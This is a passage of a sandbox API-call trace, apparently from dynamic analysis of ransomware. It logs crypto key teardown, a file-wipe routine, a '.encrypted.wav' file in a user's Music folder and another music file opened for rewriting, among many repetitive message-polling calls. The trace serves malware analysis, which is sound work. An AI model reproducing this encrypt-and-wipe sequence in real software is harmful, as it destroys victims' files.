lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.915] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.916] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.916] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.916] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.916] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.916] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.916] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.916] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.916] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0026.916] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.916] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.916] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.916] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.916] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.916] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.916] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.917] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.917] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.917] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.917] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.917] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.917] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.917] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.918] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.919] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.919] CharLowerBuffW (in: lpsz="byte[14884]", cchLength=0xb | out: lpsz="byte[14884]") returned 0xb [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.919] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.919] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.919] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.919] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.920] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.920] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.920] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.920] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.920] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.920] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.921] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.921] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.921] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.922] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.922] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.922] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.922] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.922] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.922] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.922] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.922] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.922] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.922] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=6639) returned 1 [0026.922] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.922] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.922] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.922] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x19ef, lpOverlapped=0x0) returned 1 [0026.923] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.923] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x19ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.923] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=6639) returned 1 [0026.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\ONVMABx84l5Xkpsb6eP.encrypted.wav\r\n", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0026.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\ONVMABx84l5Xkpsb6eP.encrypted.wav\r\n", cchWideChar=63, lpMultiByteStr=0xe8f4051bd0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\ONVMABx84l5Xkpsb6eP.encrypted.wav\r\n", lpUsedDefaultChar=0x0) returned 63 [0026.923] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4051720*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051720*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3e, lpOverlapped=0x0) returned 1 [0026.923] CloseHandle (hObject=0x188) returned 1 [0026.924] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.924] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.924] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.924] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.924] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.924] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.924] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.925] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.925] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178900, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.926] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.926] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Qz9eopB-.mp3", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0026.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Qz9eopB-.mp3", cchWideChar=40, lpMultiByteStr=0xe8f4188540, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\Qz9eopB-.mp3", lpUsedDefaultChar=0x0) returned 40 [0026.926] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\Qz9eopB-.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\qz9eopb-.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=40, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 40 [0026.926] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=40, lpWideCharStr=0xe8f4069890, cchWideChar=40 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\Qz9eopB-.mp3") returned 40 [0026.927] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.927] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.927] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.928] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.928] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.928] WideCharToMultiByte (in: CodePage=0x0, 